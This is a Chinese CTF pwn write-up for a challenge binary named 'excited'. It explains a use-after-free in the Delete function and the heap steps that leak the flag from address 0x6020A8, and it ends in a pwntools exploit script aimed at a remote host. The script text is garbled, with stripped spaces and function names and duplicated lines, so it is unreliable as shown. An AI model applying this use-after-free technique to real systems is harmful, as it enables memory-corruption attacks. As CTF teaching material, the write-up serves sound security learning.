
首先在sub_400896()函数中,可以知道flag文件在服务器根目录下,我们在本地调试的时候可以在自己的根目录下建一个flag便可以跳过这里的if判断。哦哦,还知道了程序在运行的flag被输入到了......

首先在sub_400896()函数中,可以知道flag文件在服务器根目录下,我们在本地调试的时候可以在自己的根目录下建一个flag便可以跳过这里的if判断。
哦哦,还知道了程序在运行的flag被输入到了0x6020A8处。
漏洞点在Delete即sub_400C24()函数中,看红框框部分。
它在free后并没有将指针置为0,即free后我们还是可以对指针指向的内容进行操作。

所以
整体思路就是我们通过一系列的malloc和free并利用UAF漏洞将flag所在地址给填入到banana结构体的ba指针地址处或者na指针所在的地址处。
然后最后给View出来。
首先建立两个banana,0和1,

然后将它们free掉即放入bins中

然后我们再申请一个banana,看下create'banana的代码(下面的图)吧。里面有着3个malloc函数,重点看前两个就足够了。
它首先是malloc(0x10)的chunk去存放ba的指针和na的指针,所以当第一个malloc执行后,申请到的chunk就是0x19002c0处的chunk。
然后看第二个malloc,这个是申请ba的,我们将nbytes设为0x10即就申请到了0x20bins中的0x1900240处的chunk了,即ba指针就是0x1900240处chunk了,我们向其(0x1900250)写入flag地址0x6020A8,因为UAF漏洞,我们仍然可以通过view,将banana0的ba指针指向的内容给输出出来,此时就指向flag地址,便输出flag了!


Payloadcoding=utf8frompwnimport*context_log_level="debug"io=process("./excited")io=remote('123.56.85.29',6484)defadd(len1,content1,len2,content2):("Nowpleasetellmewhatyouwanttodo:","1")("ba'slength:",str(len1))("ba:",content1)("na'slength:",str(len2))("na:",content2)defdelete(ID):("Nowpleasetellmewhatyouwanttodo:","3")('BananaID:',str(ID))defview(ID):("Nowpleasetellmewhatyouwanttodo:","4")("BananaID:SCPprojectID:",str(ID))flag_addr=0x6020A8add(32,"a",32,"b")1********************************************************************("Nowpleasetellmewhatyouwanttodo:","1")("ba'slength:","32")("ba:","a")("na'slength:","32")("na:","b")("Nowpleasetellmewhatyouwanttodo:","1")("ba'slength:","32")("ba:","a")("na'slength:","32")("na:","b")delete(0)(io)view(0)小白入行网络安全安界网人才培养计划#